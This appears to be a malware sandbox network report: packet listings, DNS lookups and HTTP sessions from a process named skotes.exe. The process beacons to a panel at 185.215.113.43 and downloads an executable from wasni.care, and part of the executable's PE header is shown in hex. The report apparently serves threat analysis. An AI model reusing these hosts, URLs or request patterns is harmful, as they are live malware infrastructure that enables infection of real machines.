Nov 2, 2024 07:16:28.086524010 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086535931 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086546898 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086560011 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086564064 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086576939 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086585999 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086590052 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086601019 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086605072 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086616039 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086641073 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086654902 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.087191105 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087210894 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087222099 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087275982 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.087280989 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087291956 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087302923 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087327003 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087328911 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.087367058 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087378979 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087389946 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087392092 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.087402105 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087414980 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087424994 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.087440968 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.087507963 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.242620945 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242643118 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242656946 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242675066 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242679119 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.242687941 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242702961 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.242706060 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242718935 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.242738962 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.242753029 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.258579016 CET	63908	80	192.168.2.4	185.215.113.206
Nov 2, 2024 07:16:28.263500929 CET	80	63908	185.215.113.206	192.168.2.4
Nov 2, 2024 07:16:28.263588905 CET	63908	80	192.168.2.4	185.215.113.206
Nov 2, 2024 07:16:28.263741970 CET	63908	80	192.168.2.4	185.215.113.206
Nov 2, 2024 07:16:28.268604040 CET	80	63908	185.215.113.206	192.168.2.4
Nov 2, 2024 07:16:28.329776049 CET	443	63903	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:28.330728054 CET	63903	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:28.330786943 CET	443	63903	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:28.331079960 CET	63903	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:28.331095934 CET	443	63903	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:28.365071058 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365084887 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365128994 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365166903 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365176916 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365267992 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365278959 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365289927 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365299940 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365396023 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365417957 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365446091 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365457058 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365473032 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365564108 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365593910 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365606070 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365623951 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365634918 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365645885 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365677118 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365739107 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365838051 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365866899 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365880013 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365889072 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365912914 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.365937948 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365950108 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.365991116 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.366143942 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366156101 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366168976 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366183043 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366187096 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.366218090 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.366240978 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.366307020 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366355896 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.366377115 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366389036 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366429090 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.366506100 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366517067 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366523027 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.366527081 CET	80	63898	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 2, 2024 07:15:28.841264963 CET	192.168.2.4	1.1.1.1	0xeb6e	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 2, 2024 07:16:08.216448069 CET	192.168.2.4	1.1.1.1	0xb2	Standard query (0)	wasni.care	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.925303936 CET	192.168.2.4	1.1.1.1	0xa330	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.940561056 CET	192.168.2.4	1.1.1.1	0xe589	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.952163935 CET	192.168.2.4	1.1.1.1	0x8c13	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.963213921 CET	192.168.2.4	1.1.1.1	0xe3b7	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:19.017132044 CET	192.168.2.4	1.1.1.1	0xab66	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:37.207535028 CET	192.168.2.4	1.1.1.1	0xf5dd	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:37.218632936 CET	192.168.2.4	1.1.1.1	0x600c	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 2, 2024 07:16:42.208281040 CET	192.168.2.4	1.1.1.1	0x5398	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.215375900 CET	192.168.2.4	1.1.1.1	0xe42b	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.218074083 CET	192.168.2.4	1.1.1.1	0x52bd	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.227694035 CET	192.168.2.4	1.1.1.1	0x1e92	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.227860928 CET	192.168.2.4	1.1.1.1	0xb04f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 2, 2024 07:16:42.242348909 CET	192.168.2.4	1.1.1.1	0x79ef	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 2, 2024 07:16:44.623744011 CET	192.168.2.4	1.1.1.1	0x18a2	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.625060081 CET	192.168.2.4	1.1.1.1	0x2565	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.631187916 CET	192.168.2.4	1.1.1.1	0x3007	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.633806944 CET	192.168.2.4	1.1.1.1	0xa32a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.650507927 CET	192.168.2.4	1.1.1.1	0x258e	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 2, 2024 07:16:44.651664972 CET	192.168.2.4	1.1.1.1	0xefb4	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 2, 2024 07:16:45.043507099 CET	192.168.2.4	1.1.1.1	0xda8b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.048475981 CET	192.168.2.4	1.1.1.1	0xdf4c	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.057795048 CET	192.168.2.4	1.1.1.1	0xcae6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 2, 2024 07:16:45.063597918 CET	192.168.2.4	1.1.1.1	0xf7ab	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.097333908 CET	192.168.2.4	1.1.1.1	0x950e	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 2, 2024 07:16:46.145325899 CET	192.168.2.4	1.1.1.1	0xdcfc	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:46.388870955 CET	192.168.2.4	1.1.1.1	0x1f26	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:46.389791965 CET	192.168.2.4	1.1.1.1	0xf2c4	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:52.476608992 CET	192.168.2.4	1.1.1.1	0x3671	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:53.340404034 CET	192.168.2.4	1.1.1.1	0x9c85	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 2, 2024 07:15:12.972547054 CET	1.1.1.1	192.168.2.4	0xd766	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:15:12.972547054 CET	1.1.1.1	192.168.2.4	0xd766	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:15:13.644421101 CET	1.1.1.1	192.168.2.4	0x302	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:15:13.644421101 CET	1.1.1.1	192.168.2.4	0x302	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:15:27.218357086 CET	1.1.1.1	192.168.2.4	0x810b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:15:27.218357086 CET	1.1.1.1	192.168.2.4	0x810b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:15:28.862149954 CET	1.1.1.1	192.168.2.4	0xeb6e	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 2, 2024 07:15:53.698889971 CET	1.1.1.1	192.168.2.4	0x4c7	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:15:53.698889971 CET	1.1.1.1	192.168.2.4	0x4c7	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:08.358567953 CET	1.1.1.1	192.168.2.4	0xb2	No error (0)	wasni.care		208.109.77.116	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.934004068 CET	1.1.1.1	192.168.2.4	0xa330	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.949677944 CET	1.1.1.1	192.168.2.4	0xe589	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.961160898 CET	1.1.1.1	192.168.2.4	0x8c13	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:18.978276014 CET	1.1.1.1	192.168.2.4	0xe3b7	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:19.028845072 CET	1.1.1.1	192.168.2.4	0xab66	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:19.028845072 CET	1.1.1.1	192.168.2.4	0xab66	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:37.202985048 CET	1.1.1.1	192.168.2.4	0x7e00	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:37.214975119 CET	1.1.1.1	192.168.2.4	0xf5dd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.215701103 CET	1.1.1.1	192.168.2.4	0x5398	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:16:42.215701103 CET	1.1.1.1	192.168.2.4	0x5398	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.222143888 CET	1.1.1.1	192.168.2.4	0xe42b	No error (0)	youtube.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.225100040 CET	1.1.1.1	192.168.2.4	0x52bd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.234468937 CET	1.1.1.1	192.168.2.4	0xb04f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 2, 2024 07:16:42.234479904 CET	1.1.1.1	192.168.2.4	0x1e92	No error (0)	youtube.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:42.249336004 CET	1.1.1.1	192.168.2.4	0x79ef	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 2, 2024 07:16:44.630275011 CET	1.1.1.1	192.168.2.4	0x18a2	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.631866932 CET	1.1.1.1	192.168.2.4	0x2565	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:16:44.631866932 CET	1.1.1.1	192.168.2.4	0x2565	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.637933016 CET	1.1.1.1	192.168.2.4	0x3007	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:44.640361071 CET	1.1.1.1	192.168.2.4	0xa32a	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.039949894 CET	1.1.1.1	192.168.2.4	0x2ea7	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:16:45.039949894 CET	1.1.1.1	192.168.2.4	0x2ea7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.050573111 CET	1.1.1.1	192.168.2.4	0xda8b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.055447102 CET	1.1.1.1	192.168.2.4	0xdf4c	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:16:45.055447102 CET	1.1.1.1	192.168.2.4	0xdf4c	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:16:45.055447102 CET	1.1.1.1	192.168.2.4	0xdf4c	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.070589066 CET	1.1.1.1	192.168.2.4	0xf7ab	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:45.104463100 CET	1.1.1.1	192.168.2.4	0x950e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 2, 2024 07:16:46.151946068 CET	1.1.1.1	192.168.2.4	0xdcfc	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:46.395540953 CET	1.1.1.1	192.168.2.4	0x1f26	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:46.396394014 CET	1.1.1.1	192.168.2.4	0xf2c4	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:46.396394014 CET	1.1.1.1	192.168.2.4	0xf2c4	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:52.483988047 CET	1.1.1.1	192.168.2.4	0x3671	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 2, 2024 07:16:52.483988047 CET	1.1.1.1	192.168.2.4	0x3671	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 2, 2024 07:16:53.347682953 CET	1.1.1.1	192.168.2.4	0x9c85	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	63773	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:04.795835018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 2, 2024 07:16:05.735408068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	63787	185.215.113.43	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:07.257410049 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 2, 2024 07:16:08.209477901 CET	656	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 02 Nov 2024 06:16:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 31 0d 0a 20 3c 63 3e 31 30 30 33 33 33 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 39 62 35 62 30 30 66 35 39 30 35 30 33 33 36 64 30 31 32 62 62 32 34 33 66 61 64 36 64 34 61 62 61 34 65 37 61 34 63 37 37 30 39 33 34 35 35 66 66 31 37 35 66 33 34 37 34 30 35 66 34 66 64 36 64 39 66 63 31 64 23 31 30 30 33 33 34 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 33 34 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 33 34 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 [TRUNCATED] Data Ascii: 1d1 <c>1003334001+++b5937c1a99d5f99b5b00f59050336d012bb243fad6d4aba4e7a4c77093455ff175f347405f4fd6d9fc1d#1003343001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003344001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003345001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003346001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	63794	208.109.77.116	80	5844	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 2, 2024 07:16:08.365917921 CET	60	OUT	GET /panel/uploads/Fwkdsz.exe HTTP/1.1 Host: wasni.care
Nov 2, 2024 07:16:09.037825108 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:08 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sat, 02 Nov 2024 04:46:29 GMT ETag: "160032-369d8-625e6bc2addf2" Accept-Ranges: bytes Content-Length: 223704 Vary: Accept-Encoding Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 eb 9f 25 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 1a 02 00 00 2c 01 00 00 00 00 00 ee 39 02 00 00 20 00 00 00 40 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 39 02 00 53 00 00 00 00 40 02 00 ce 28 01 00 00 00 00 00 00 00 00 00 00 48 03 00 d8 21 00 00 00 80 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%g,9 @@ `9S@(H! H.text `.rsrc(@@@.relocF@B9H4d+c:(-}>(.}Vo/(0}B(0}(1rEp(2o3}jrSp{o4(5{(9T8JXTJX((=-"(2s(J(o(6s
